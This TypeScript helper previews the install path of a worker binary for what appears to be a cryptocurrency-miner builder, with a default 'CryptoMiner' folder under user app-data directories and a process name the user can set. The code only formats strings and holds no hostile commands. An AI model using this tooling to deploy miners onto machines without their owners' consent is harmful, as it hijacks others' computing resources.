const BASE_LABELS: Record<string, string> = {
  localappdata: '%LOCALAPPDATA%',
  appdata: '%APPDATA%',
  programdata: '%ProgramData%',
  userprofile: '%USERPROFILE%',
  home: '~',
  xdg_data_home: '~/.local/share',
  temp: '%TEMP% / /tmp',
  custom: '',
};

function sanitizeToken(value: string, fallback: string): string {
  const clean = value.trim().replace(/[\\/:*?"<>|]/g, '-').replace(/\s+/g, '-');
  return clean || fallback;
}

export function previewInstallPath(options: {
  install_base: string;
  install_custom_base?: string;
  install_relative_path?: string;
  worker_name?: string;
  process_name?: string;
  target_os?: string;
}): string {
  const targetOs = options.target_os || 'windows';
  const baseKey = options.install_base || 'localappdata';
  const base =
    baseKey === 'custom'
      ? (options.install_custom_base?.trim() || '%CUSTOM%')
      : (BASE_LABELS[baseKey] || BASE_LABELS.localappdata);

  const worker = sanitizeToken(options.worker_name || 'worker', 'worker');
  const process = sanitizeToken(options.process_name || worker, 'miner');
  const buildShort = 'abc12345';

  let rel = (options.install_relative_path || 'CryptoMiner/{worker}-{build_short}').replace(/\\/g, '/');
  rel = rel
    .replace(/\{worker\}/g, worker)
    .replace(/\{build\}/g, 'full-build-id')
    .replace(/\{build_short\}/g, buildShort)
    .replace(/\{process\}/g, process);

  rel = rel.replace(/^\/+|\/+$/g, '');

  if (targetOs === 'universal') {
    const winFolder = rel ? `${BASE_LABELS.localappdata}\\${rel.replace(/\//g, '\\')}` : BASE_LABELS.localappdata;
    const unixFolder = rel ? `${BASE_LABELS.xdg_data_home}/${rel}` : BASE_LABELS.xdg_data_home;
    return `Windows: ${winFolder}\\${process}.exe · Linux/Mac: ${unixFolder}/${process}`;
  }

  if (targetOs === 'linux' || targetOs === 'darwin') {
    const folder = rel ? `${base}/${rel}` : base;
    return `${folder}/${process}`;
  }

  const folder = rel ? `${base}\\${rel.replace(/\//g, '\\')}` : base;
  return `${folder}\\${process}.exe`;
}
